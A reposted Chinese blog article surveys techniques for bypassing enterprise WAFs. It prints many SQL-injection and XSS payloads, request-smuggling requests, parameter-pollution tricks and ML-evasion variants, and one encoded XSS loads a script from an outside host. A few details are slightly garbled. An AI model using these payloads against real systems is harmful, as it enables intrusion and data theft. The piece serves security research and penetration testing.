【轉載】企業級WAF繞過技術深度研究詳情 - 網絡安全 wAn9 動態日志

本文轉載來源公眾號：Zacarx隨筆

前言

Web應用防火牆（WAF）作為現代企業Web安全架構的核心組件，在防禦SQL注入、XSS、RCE等常見攻擊中扮演着關鍵角色。然而,隨着攻防技術的不斷演進,針對企業級WAF的繞過技術也在持續發展。本文基於最新的學術研究和實戰案例,系統性地梳理了當前主流WAF產品的繞過技術,旨在為安全研究人員和滲透測試工程師提供技術參考。

一、WAF工作原理與檢測機制

1.1 WAF架構與部署模式

企業級WAF通常採用以下三種部署模式:

網絡型WAF(Network-based)

部署在網絡邊界,以硬件設備或專用服務器形式存在
保護整個網絡內的所有Web應用
典型代表:F5 BIG-IP ASM、Imperva SecureSphere

主機型WAF(Host-based)

部署在Web服務器上,以軟件形式運行
僅保護部署節點上的應用
典型代表:ModSecurity、NAXSI

雲託管WAF(Cloud-hosted)

作為SaaS服務提供,由第三方管理基礎設施
保護任意位置的Web應用
典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai

1.2 核心檢測機制

現代WAF採用多層檢測機制:

1.2.1 基於簽名的檢測(Signature-Based Detection)

工作原理:

維護已知攻擊模式數據庫(字符串或正則表達式)
將請求元素(URL、Headers、Body)與簽名庫匹配
典型規則集:OWASP CRS(Core Rule Set)

優勢:

對已知攻擊檢測準確率高
處理開銷相對較低
誤報率低

典型規則示例:

if url_parameter "user_input" contains "UNION SELECT"
then block

1.2.2 基於規則的過濾(Rule-Based Filtering)

負向安全模型(Blacklisting):

定義禁止的內容
默認允許所有流量,僅阻止匹配黑名單的請求
易於初始部署,但容易被繞過

正向安全模型(Whitelisting):

定義允許的內容
默認拒絕所有流量,僅允許符合白名單的請求
安全性高,但配置複雜,維護成本高

1.2.3 異常檢測(Anomaly Detection)

工作原理:

學習應用正常流量基線
標記偏離基線的異常請求

優勢:

可檢測0day攻擊
自適應應用特性

1.2.4 基於AI/ML的檢測

工作原理:

使用機器學習模型(隨機森林、SVM、神經網絡)
基於海量流量數據訓練分類模型
實時對新請求進行分類

優勢:

高準確率檢測複雜和0day攻擊
可持續學習適應

二、主流企業級WAF產品解析

2.1 國外主流WAF產品


WAF產品	廠商	部署類型	核心規則集	市佔率

Cloudflare WAF	Cloudflare	Cloud	Managed + OWASP CRS	高
AWS WAF	Amazon	Cloud	AWS Managed Rules + OWASP CRS	高
Azure WAF	Microsoft	Cloud	DRS 2.1 (基於 CRS 3.2)	高
Google Cloud Armor	Google	Cloud	ModSecurity + 自定義規則	中
F5 BIG-IP ASM	F5 Networks	Network/Virtual	Rapid Deployment Policy	高
ModSecurity	Trustwave/OWASP	Host/Network	OWASP CRS	高
Imperva WAF	Imperva	Cloud/Network/Host	ThreatRadar + 自定義	中
Akamai Kona	Akamai	Cloud	Adaptive Security Engine	高
Fortinet FortiWeb	Fortinet	Network/Virtual	Extended Protection	中

2.2 OWASP CRS (Core Rule Set)

OWASP CRS是WAF領域最廣泛使用的開源規則集,被大量商業WAF採用作為基礎規則。

覆蓋的攻擊類型:

SQL注入(SQLi)
跨站腳本(XSS)
本地文件包含(LFI)
遠程文件包含(RFI)
遠程代碼執行(RCE)
PHP注入
Session固定
HTTP協議違規
惡意掃描器檢測

版本演進:

CRS 2.x(已停止維護)
CRS 3.0~3.2(廣泛使用)
CRS 3.3+(當前版本)
CRS 4.0(Next Generation)

偏執等級(Paranoia Level):

PL1:基礎防護,誤報率低
PL2:增強防護
PL3:嚴格防護
PL4:最大防護,誤報率高

三、解析差異:WAF繞過的核心原理

3.1 HTTP解析差異(Parser Differential)

核心概念:WAF與後端應用對同一HTTP請求的理解不一致,是繞過的根本原因。

產生原因:

WAF與應用使用不同的HTTP解析庫
RFC標準存在模糊性和歧義
實現細節差異
性能與安全的權衡

典型場景:

場景1:Content-Type解析差異

WAF可能僅檢查application/x-www-form-urlencoded,而後端同時接受multipart/form-data:

POST /api/search HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="query"

' UNION SELECT password FROM users--
------Boundary--

90%以上的網站可互換接受這兩種Content-Type,但WAF檢測規則可能不同步。

為了方便大家理解，大家可以感受下兩者差異：

場景2:參數處理差異

GET /search?q=safe&q=malicious

不同技術棧對重複參數的處理:


技術棧	處理方式

PHP	使用最後一個值
ASP.NET	用逗號連接所有值
Java Servlet	返回數組
Python Flask	使用第一個值(默認)
Node.js Express	返回數組或字符串

WAF如果僅檢查第一個參數而後端使用最後一個,攻擊即可繞過。

3.2 歸一化不一致(Normalization Inconsistency)

核心問題:WAF在應用檢測規則前必須對請求進行歸一化(解碼、規範化路徑等),如果歸一化邏輯與後端不一致,會產生繞過。

常見不一致:

URL編碼層級:

%253Cscript%253E  (雙重URL編碼)
↓ WAF解碼一次
%3Cscript%3E
↓ 後端再解碼
<script>

Unicode歸一化:

\u003Cscript\u003E  (Unicode編碼)
→ 後端解碼為: <script>

路徑規範化:

/path/./to/../file.php
→ WAF可能不規範化
→ 後端規範化為: /path/file.php

四、高級WAF繞過技術

4.1 編碼與混淆技術矩陣

4.1.1 URL編碼變種

單次編碼:

< 轉換為 %3C
> 轉換為 %3E

雙重編碼:

< 轉換為 %253C

混合編碼:

<script> 轉換為 %3Cscript%3E
<script> 轉換為 <scr%69pt>

大小寫變種:

%3c %3C (某些WAF區分大小寫)

4.1.2 Unicode編碼技巧

JavaScript Context:

\u003Cscript\u003E
\u{3c}script\u{3e}  // ES6語法

HTML Entity:

&lt;script&gt;
&#60;script&#62;
&#x3C;script&#x3E;

UTF-7編碼:

+ADw-script+AD4-

UTF-32 Overlong:

∀㸀㰀script㸀alert(1)㰀/script㸀

結合Accept-Charset: utf-32頭部,瀏覽器用UTF-8解碼後觸發XSS。

4.1.3 SQL注入編碼

十六進制編碼:

SELECT 轉換為 0x53454C454354

字符函數:

CHAR(83,69,76,69,67,84) = SELECT

註釋分割:

SEL/*comment*/ECT
SE/**/LECT

大小寫混淆:

SeLeCt
sELEct

空白字符替換:

SELECT\x09*\x0AFROM\x0Dusers  (Tab, LF, CR)

4.1.4 字符集利用

IBM037/IBM500編碼(IIS):

原始: id='union select * from users--
IBM037: %89%84=%7D%A4%95%89%96%95%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

ASP.NET支持IBM字符集,可繞過不支持此編碼的WAF。

4.2 HTTP請求走私(HTTP Request Smuggling)

4.2.1 原理

利用前端(WAF/代理)和後端服務器對請求邊界理解的差異,將惡意請求"走私"到後端。

核心:CL與TE的優先級差異

Content-Length (CL): 指定body長度(字節)
Transfer-Encoding: chunked (TE): 分塊傳輸

HTTP規範對同時存在CL和TE時的處理存在模糊性,導致不同實現的差異。

4.2.2 CL.TE攻擊

前端使用Content-Length,後端使用Transfer-Encoding

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

前端認為body長度為6字節,讀取0\r\n\r\nG,請求結束。後端使用chunked編碼,讀取0\r\n\r\n(長度0的chunk表示結束),剩餘的G被當作下一個請求的開頭。

攻擊載荷示例:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
0

4.2.3 TE.CL攻擊

前端使用Transfer-Encoding,後端使用Content-Length

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
X:
0

4.2.4 TE.TE攻擊(混淆TE頭)

Transfer-Encoding: chunked
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked

一側識別為chunked,另一側忽略,產生解析差異。

危害:

繞過WAF規則(走私的請求未被檢測)
緩存投毒
會話劫持
請求劫持

4.3 HTTP參數污染(HTTP Parameter Pollution - HPP)

4.3.1 ASP.NET參數拼接

行為:ASP.NET使用逗號連接同名參數的所有值。

/?q=1'&q=alert(1)&q='2
→ 後端: q = "1',alert(1),'2"

在JavaScript上下文中:

var query = '1',alert(1),'2';

逗號操作符使得alert(1)被執行。

WAF繞過實例:

原始阻斷:

/?q=';alert(1);//

HPP繞過:

/?q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'

ASP.NET拼接後:

q = "1'+1;let asd=window,def='al'+'ert'+;asd[def](1,2);'"

4.3.2 跨技術棧差異利用

PHP後端:

// PHP使用最後一個參數
$id = $_GET['id'];  // 獲取最後一個id值

攻擊:

/?id=safe&id=' OR 1=1--

WAF檢查第一個id=safe(安全),PHP使用最後一個id=' OR 1=1--(惡意)。

4.4 基於Content-Type的繞過

4.4.1 JSON-Based SQL注入

研究背景:2022年,Claroty Team82發現多個主流WAF(Palo Alto、AWS、Cloudflare、F5、Imperva)不支持JSON語法檢測。

繞過技術:

標準SQLi被阻斷:

' UNION SELECT username, password FROM users--

JSON函數繞過:

' OR JSON_LENGTH("{}") <= 8896 UNION SELECT @@version#

PostgreSQL JSON函數:

' OR (SELECT json_agg(password) FROM users)::text LIKE '%admin%'--

MySQL JSON函數:

' OR JSON_EXTRACT('{"a":"<script>alert(1)</script>"}','$.a')--

攻擊流程:

數據庫支持JSON函數(PostgreSQL、MySQL、SQLite、MSSQL)
WAF規則未涵蓋JSON語法
惡意SQL隱藏在JSON函數調用中
繞過檢測,攻擊成功執行

4.4.2 Multipart/Form-Data解析差異

根據WAFFLED研究,multipart content-type存在大量解析差異攻擊面。

Boundary參數延續:

RFC 2231允許通過多個參數表示單個參數值:

Content-Type: multipart/form-data;
  boundary=fake-boundary;
  boundary*0=real-;
  boundary*1=boundary

WAF取第一個boundary(fake-boundary), 後端拼接為real-boundary,導致解析差異。

完整攻擊載荷:

POST /upload HTTP/1.1
Content-Type: multipart/form-data;
  boundary=fake-boundary;
  boundary*0=real-;
  boundary*1=boundary

--fake-boundary
Content-Disposition: form-data; name="field1"

safe_value
--fake-boundary--
--real-boundary
Content-Disposition: form-data; name="id"

<script>alert(document.cookie)</script>
--real-boundary--

WAF檢查fake-boundary之間的內容(安全), 後端解析real-boundary之間的內容(惡意)。

其他Multipart繞過類別:

Boundary分隔符操作:

\r\n--boundary  (移除\r\n)

Content-Disposition破壞:

content-disposition: form-da\x00a; name="file"

畸形頭部注入:

conten\x00-extra: something
Content-Type: text/plain\x00

字符集變更:

Content-Type: text/plain; charset=\x00UTF-8

換行符移除:

Content-Type: multipart/form-data; boundary=test\r\n\r\n
(緊接body,無空行)

4.4.3 XML外部實體注入繞過

Extra Field Addition:

<?xml version="1.0"?>
<root>
  <field1>value1</field1>
  <field2 attr="bypass">XXE_PAYLOAD</field2>
</root>

DOCTYPE Closure Confusion:

<!DOCTYPE root [...]>
<field1>XXE</field1>]
</root>

Schema操作:

<genre:schema>
  <field1>XXE_PAYLOAD</field1>invalid_char
</genre:schema>

Content-Type頭移除:

POST /api HTTP/1.1
Host: target.com
(無Content-Type頭,或修改為其他值)

<?xml>...</xml>

4.5 協議層繞過策略

4.5.1 HTTP方法利用

WAF規則可能僅覆蓋GET/POST,使用其他方法繞過:

HEAD /api?id=' OR 1=1-- HTTP/1.1
OPTIONS /api?id=' OR 1=1-- HTTP/1.1
PUT /api?id=' OR 1=1-- HTTP/1.1
DELETE /api?id=' OR 1=1-- HTTP/1.1
PATCH /api?id=' OR 1=1-- HTTP/1.1
TRACE /api?id=' OR 1=1-- HTTP/1.1

自定義HTTP方法:

CUSTOM /api?id=' OR 1=1-- HTTP/1.1

4.5.2 頭部操縱

X-Forwarded-For欺騙:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
CF-Connecting-IP: 127.0.0.1

WAF信任這些頭部,認為請求來自內網,放行。

HTTP方法覆蓋:

POST /api HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT

URL重寫:

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin

繞過路徑基礎的訪問控制。

國家代碼欺騙:

CF-IPCountry: US
CloudFront-Viewer-Country: US
X-GeoIP-CC: US

4.5.3 HTTP版本差異

HTTP/1.0 vs HTTP/1.1:

HTTP/1.0缺少Host頭部必選要求
HTTP/1.1更嚴格的規範解析

HTTP/2特性利用:

頭部壓縮(HPACK)
服務器推送
請求優先級

老舊WAF可能不完全支持HTTP/2檢測。

4.5.4 WebSocket協議繞過

WebSocket升級後,通信切換到ws://或wss://協議,傳統HTTP WAF規則不再適用:

GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13

升級成功後,通過WebSocket發送攻擊載荷:

ws.send("' OR 1=1--")

4.6 資源耗盡與時序攻擊

4.6.1 超大載荷繞過

原理:WAF通常有請求體檢測上限,超過限制的部分不被檢查。

Cloudflare限制:

131,072字節(128 KiB)限制
超過此大小的請求體不被完整檢查

攻擊載荷:

POST /api HTTP/1.1
Content-Length: 131073

[130000字節垃圾數據]
<script>alert(1)</script>
[剩餘數據]

其他WAF限制:

AWS WAF: 8KB請求體檢測限制
Azure WAF: 128KB限制
F5 BIG-IP: 可配置,默認10MB

工具:Burp Suite的"WAF Bypadd"擴展可自動添加填充數據。

4.6.2 正則表達式拒絕服務(ReDoS)

原理:精心構造的輸入觸發WAF正則表達式引擎的災難性回溯。

易受攻擊的正則:

^(a+)+$
^([a-zA-Z]+)*$
(a|a)*
(a|ab)*

攻擊輸入:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

引擎嘗試所有可能的匹配組合,CPU佔用暴增,導致:

WAF響應超時
WAF降級為Fail-Open(允許所有流量)
WAF崩潰

4.6.3 速率限制規避

慢速攻擊:

保持在速率限制閾值以下
分散多個IP地址
使用代理鏈/VPN

時序繞過:如WAF有單請求處理超時(如5秒),構造複雜請求使處理超時,請求被放行。

4.7 邏輯缺陷與規則繞過

4.7.1 大小寫敏感性

錯誤假設:WAF規則假設大小寫敏感,攻擊者利用大小寫變換:

SeLeCt * FrOm users
UNION SELECT
UnIoN SeLeCt

<ScRipT>alert()</sCRipT>
<SCRIPT>alert()</SCRIPT>

4.7.2 註釋插入

SQL註釋:

SEL/**/ECT
SE/*comment*/LECT
UNION/**/SELECT
UNI/*bypass*/ON/*waf*/SELECT

HTML註釋:

<!--><script>alert/**/()/**/</script>
<scr<!--bypass-->ipt>

4.7.3 空字節注入

路徑截斷:

/path/to/file%00.jpg

WAF檢查擴展名為.jpg(安全), 後端C函數在%00處截斷,實際讀取/path/to/file。

字符串終止:

admin'%00 OR 1=1--

4.7.4 字符集替代

IP地址表示:

127.0.0.1 (十進制)
0177.0.0.1 (八進制)
0x7F000001 (十六進制)
2130706433 (DWORD)

科學計數法:

WHERE id = 1e0  (等同於 1)

4.7.5 正則繞過技巧

未錨定的正則:

/union\sselect/  (缺少^和$)

繞過:

aaaunion selectbbb  (匹配,但無效SQL)

更好的正則應為:

/\bunion\s+select\b/i

嵌套標籤繞過:

<scr<script>ipt>alert()</script>

WAF規則替換<script>為空,結果:

<script>alert()</script>

4.7.6 上下文混淆

SQL in JSON:

{"query": "' OR 1=1--"}

WAF可能僅按JSON解析,未識別SQL注入上下文。

JavaScript in HTML屬性:

<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

Base64編碼繞過XSS規則。

4.8 針對AI/ML-based WAF的對抗技術

4.8.1 逃避攻擊(Evasion Attacks)

原理:對惡意載荷進行微小擾動,使其跨越ML模型的決策邊界,被誤分類為良性。

梯度基礎方法(白盒):

FGSM (Fast Gradient Sign Method)
PGD (Projected Gradient Descent)
C&W Attack

查詢基礎方法(黑盒):

通過大量查詢學習模型行為
迭代調整載荷直到繞過

實例:

原始阻斷:

eval(atob('YWxlcnQoMSk='))

擾動後繞過:

new Function('a'+'lert(1)')()

4.8.2 模型推斷攻擊

目標:通過觀察WAF響應,推斷ML模型的內部邏輯。

方法:

發送大量不同載荷
記錄阻斷/允許響應
訓練代理模型模擬WAF行為
針對代理模型設計繞過
在真實WAF測試

防禦難點:

高查詢成本
需要精確模擬
可能被速率限制阻止

4.8.3 對抗樣本生成

示例(open-appsec):

基礎載荷:

alert(1)

被阻斷後,快速變換:

confirm(1)  // 立即繞過

繼續適應:

prompt(1)
new Function('alert(1)')()

ML模型需要重新訓練才能覆蓋新變種,但黑客可持續生成新變種。

五、真實案例分析

案例1:Cloudflare WAF - Onbeforetoggle事件繞過

目標: 媒體網站,CloudFront保護

發現過程:

探測HTML標籤,發現<script>被阻斷
測試JavaScript事件處理器
發現onbeforetoggle事件未被阻斷

最終載荷:

<button popovertarget=x>Next</button>
<xss onbeforetoggle='eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs="))' popover id=x>XSS</xss>

技術要點:

利用HTML5 Popover API
onbeforetoggle事件在popover顯示/隱藏前觸發
Base64編碼繞過關鍵詞檢測
需要用户點擊按鈕觸發

案例2:CloudFront + F5 BIG-IP ASM - Regex捕獲組繞過

目標: 在線銀行,雙重WAF保護(CloudFront + F5 BIG-IP ASM)

嘗試1(失敗):

eval(atob('dmFyIH...'))

eval關鍵詞被阻斷

嘗試2(失敗):

window[atob('ZXZhbA==')]( ... )

atob關鍵詞被阻斷

最終成功:

`e1v2a3l4a5t6o7b`.replace(/(.).(.).(.).(.).(.).(.).(.).(.)/,
  function(match,$1,$2,$3,$4,$5,$6,$7,$8) {
    var e=this[$1+$2+$3+$4];
    var x=this[$5+$6+$7+$8];
    e(x(`dmFyIH...`));
  }
);

原理:

正則捕獲組提取字符: e,v,a,l,a,t,o,b
this[$1+$2+$3+$4] 動態構造 eval
this[$5+$6+$7+$8] 動態構造 atob
避免直接出現關鍵詞

替代方案:

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
    "base64_payload"
  )
)

使用十六進制編碼規避關鍵詞。

案例3:Azure Application Gateway - 大載荷繞過

目標: 醫療服務提供商,Azure WAF保護

問題:FROM關鍵詞被嚴格阻斷

發現:在JSON請求體中添加大量垃圾數據後,SQLi載荷未被檢測。

繞過載荷:

POST /api/search HTTP/1.1
Content-Type: application/json
Content-Length: 150000

{
  "query": "[130KB垃圾數據]' UNION SELECT password FROM users--"
}

技術補充:使用PostgreSQL box()幾何類型轉換函數,無需FROM關鍵詞:

' OR box('(0,0),(1,1)') <@ box'((0,0),(SELECT version(),1))'--

錯誤信息泄露數據庫版本,實現無FROM的SQL注入。

案例4:Google Cloud Armor - Parameter Pollution + 大小寫

場景: 自動化滲透測試工具(Hackbot)探測

發現1: 應用對參數名大小寫不敏感

?Query=test 等同於 ?query=test

發現2: 利用此特性構造繞過

?Query=safe&query=<script>alert(1)</script>

WAF檢查Query參數(大寫), 後端讀取query參數(小寫), 實現繞過。

案例5:AWS WAF多規則集測試

測試結果:

AWS WAF規則集	繞過率
AWS Managed Rules	100%
Cyber Security Cloud	100%
F5 Rule Set	100%
Cloudbric Rule Set	部分繞過
Fortinet Rule Set	部分繞過

有效繞過載荷:

/?id=1/union/union/select/select+1,2,3/*
/?id=1+un//ion+sel//ect+1,2,3--
/?id=1;select+1&id=2,3+from+users+where+id=1--

關鍵技術:

雙寫關鍵詞(union/union)利用清洗邏輯
註釋符分割
HPP技術

六、自動化繞過工具與技術

6.1 WAF指紋識別

WAFW00F

wafw00f https://target.com

# 檢測到的WAF:
# Cloudflare (Cloudflare Inc.)

識別特徵:

HTTP響應頭:Server: cloudflare
Cookie:__cfduid
特定阻斷頁面

Nmap NSE腳本

nmap -p 443 --script http-waf-detect target.com
nmap --script http-waf-fingerprint target.com

6.2 SQLMap Tamper腳本

SQLMap的--tamper選項提供多種繞過腳本:

sqlmap -u "http://target.com?id=1" \
  --tamper=space2comment,between \
  --level=5 --risk=3

常用Tamper腳本:

腳本名稱	功能	示例
space2comment	空格替換為註釋	`UNION SELECT` → `UNION/**/SELECT`
charencode	URL編碼	`SELECT` → `%53%45%4C%45%43%54`
base64encode	Base64編碼	`SELECT` → `U0VMRUNUCg==`
between	AND/OR替換為BETWEEN	`1 AND 1` → `1 BETWEEN 0 AND 2`
randomcase	隨機大小寫	`SELECT` → `SeLeCt`
versionedkeywords	添加版本註釋	`UNION` → `/!50000UNION/`
apostrophemask	單引號替換	`'` → `%EF%BC%87`
htmlencode	HTML實體編碼	`<` → `<`

自定義Tamper腳本示例:

# tamper/custombypass.py
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    # 實現自定義繞過邏輯
    payload = payload.replace("UNION", "/*!50000UNION*/")
    payload = payload.replace("SELECT", "/*!50000SELECT*/")
    return payload

6.3 Burp Suite擴展

HTTP Request Smuggler

自動檢測CL.TE、TE.CL、TE.TE漏洞
生成走私載荷
驗證響應差異

WAF Bypass

多種編碼方式
自動Fuzz WAF規則
生成繞過報告

IP Rotate

通過API網關輪換IP
避免被WAF封禁
支持AWS API Gateway、Google Cloud

Hackvertor

強大的編碼/解碼工具
支持鏈式轉換
自定義編碼器

使用示例:

<@base64_0>SELECT * FROM users<@/base64_0>
<@hex_0><@url_0>alert(1)<@/url_0><@/hex_0>

6.4 WAFFLED工具

基於學術研究開發的WAF繞過模糊測試工具:

核心功能:

Grammar-based fuzzing
自動識別解析差異
支持multipart/form-data、application/xml、application/json
針對AWS、Azure、Cloudflare、GCP、ModSecurity

使用流程:

# 1. 配置目標
vim config.yaml

# 2. 生成測試載荷
python waffled.py --grammar multipart.abnf --generate

# 3. 測試WAF
python waffled.py --test --waf cloudflare

# 4. 分析結果
python waffled.py --analyze --output report.html

發現的繞過示例:

1207個唯一繞過
24種繞過分類
90%+網站受影響

七、前沿研究方向

7.1 WAFFLED研究成果

發表: USENIX Security 2025

核心貢獻:

首次系統性研究WAF解析差異
自動化fuzzing方法論
1207個唯一繞過
覆蓋5大WAF、6大框架

7.2 HTTP/2與HTTP/3繞過

研究重點:

HTTP/2特有攻擊面
HPACK頭部壓縮利用
HTTP/3 QUIC協議
多路複用請求走私

八、總結

WAF 並非安全的終極防線。研究顯示，高達 70.6% 的 WAF 可以被高級繞過技術突破，而其根源在於 HTTP 協議的複雜性和模糊性導致的解析差異：不同 WAF 與後端框架在歸一化邏輯和輸入處理上存在不一致，從而形成檢測盲區。同時，攻擊者的手段也在持續演進——從早期的簡單混淆，發展到利用協議漏洞、構造對抗樣本，以及藉助自動化工具批量生成變體。面對這種攻防不對稱的格局，單純依賴 WAF 只能提供有限保護，真正有效的安全策略應結合應用層防護、統一的輸入解析與語義檢測機制，以實現縱深防禦與持續適應性安全。

參考文獻

[1] Akhavani, S. A., et al. (2025). "WAFFLED: Exploiting Parsing Discrepancies to Bypass Web Application Firewalls." USENIX Security Symposium.

[2] Wang, Q., et al. (2024). "Break the Wall from Bottom: Automated Discovery of Protocol-Level Evasion Vulnerabilities in Web Application Firewalls." IEEE S&P.

[3] Jabiyev, B., et al. (2021). "T-Reqs: HTTP Request Smuggling with Differential Fuzzing." ACM CCS.

[4] Qu, Z., et al. (2022). "AutoSpear: Towards Automatically Bypassing and Inspecting Web Application Firewalls." BlackHat Asia.

[5] OWASP Foundation. "SQL Injection Bypassing WAF."

https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

[6] Claroty Team82. (2022). "JS-ON: Security-OFF - Abusing JSON-Based SQL to Bypass WAF." https://claroty.com/team82/research

[7] MDSec. (2024). "When WAFs Go Awry: Common Detection & Evasion Techniques." https://www.mdsec.co.uk

[8] Ethiack. (2025). "Bypassing WAFs with Parameter Pollution." https://blog.ethiack.com

[9] PortSwigger Research. "Evading defences using VueJS script gadgets." https://portswigger.net/research

[10] WAFW00F: https://github.com/EnableSecurity/wafw00f

[11] SQLMap: https://github.com/sqlmapproject/sqlmap

[12] Burp Suite: https://portswigger.net/burp

[13] WAFFLED: https://github.com/sa-akhavani/waffled

[14] Awesome WAF: https://github.com/0xInfection/Awesome-WAF

[15] CVE-2022-39955: OWASP CRS - Content-Type charset bypass

[16] CVE-2022-39956: OWASP CRS - Character encoding scheme bypass

[17] CVE-2022-39957: OWASP CRS - Accept header charset bypass

[18] CVE-2022-39958: OWASP CRS - Range header data exfiltration

[19] CVE-2024-1019: ModSecurity - Path confusion bug

[20] CVE-2024-6783: Vue 2 - Template compiler XSS

轉載鏈接：https://mp.weixin.qq.com/s/ZJRiaI1BlZZrwOlmdsxyLg?mpshare=1&scene=1&srcid=1013uogXoIoZQ95738tZU7Nh&sharer_shareinfo=966a7be3148928677189f32a4f94a79b&sharer_shareinfo_first=966a7be3148928677189f32a4f94a79b&from=industrynews&color_scheme=light#rd

wAn9 動態日志

@wan9

標簽

網絡安全 (44)

動態

【轉載】企業級WAF繞過技術深度研究 - 動態 詳情

前言

一、WAF工作原理與檢測機制

1.1 WAF架構與部署模式

1.2 核心檢測機制

1.2.1 基於簽名的檢測(Signature-Based Detection)

1.2.2 基於規則的過濾(Rule-Based Filtering)

1.2.3 異常檢測(Anomaly Detection)

1.2.4 基於AI/ML的檢測

二、主流企業級WAF產品解析

2.1 國外主流WAF產品

2.2 OWASP CRS (Core Rule Set)

三、解析差異:WAF繞過的核心原理

3.1 HTTP解析差異(Parser Differential)

場景1:Content-Type解析差異

場景2:參數處理差異

3.2 歸一化不一致(Normalization Inconsistency)

四、高級WAF繞過技術

4.1 編碼與混淆技術矩陣

4.1.1 URL編碼變種

4.1.2 Unicode編碼技巧

4.1.3 SQL注入編碼

4.1.4 字符集利用

4.2 HTTP請求走私(HTTP Request Smuggling)

4.2.1 原理

4.2.2 CL.TE攻擊

4.2.3 TE.CL攻擊

4.2.4 TE.TE攻擊(混淆TE頭)

4.3 HTTP參數污染(HTTP Parameter Pollution - HPP)

4.3.1 ASP.NET參數拼接

4.3.2 跨技術棧差異利用

4.4 基於Content-Type的繞過

4.4.1 JSON-Based SQL注入

4.4.2 Multipart/Form-Data解析差異

4.4.3 XML外部實體注入繞過

4.5 協議層繞過策略

4.5.1 HTTP方法利用

4.5.2 頭部操縱

4.5.3 HTTP版本差異

4.5.4 WebSocket協議繞過

4.6 資源耗盡與時序攻擊

4.6.1 超大載荷繞過

4.6.2 正則表達式拒絕服務(ReDoS)

4.6.3 速率限制規避

4.7 邏輯缺陷與規則繞過

4.7.1 大小寫敏感性

4.7.2 註釋插入

4.7.3 空字節注入

4.7.4 字符集替代

4.7.5 正則繞過技巧

4.7.6 上下文混淆

4.8 針對AI/ML-based WAF的對抗技術

4.8.1 逃避攻擊(Evasion Attacks)

4.8.2 模型推斷攻擊

4.8.3 對抗樣本生成

五、真實案例分析

案例1:Cloudflare WAF - Onbeforetoggle事件繞過

案例2:CloudFront + F5 BIG-IP ASM - Regex捕獲組繞過

案例3:Azure Application Gateway - 大載荷繞過

案例4:Google Cloud Armor - Parameter Pollution + 大小寫

案例5:AWS WAF多規則集測試

六、自動化繞過工具與技術

6.1 WAF指紋識別

WAFW00F

Nmap NSE腳本

6.2 SQLMap Tamper腳本

6.3 Burp Suite擴展

HTTP Request Smuggler

WAF Bypass

IP Rotate

Hackvertor

6.4 WAFFLED工具

七、前沿研究方向

7.1 WAFFLED研究成果

7.2 HTTP/2與HTTP/3繞過

【轉載】企業級WAF繞過技術深度研究 - 動態詳情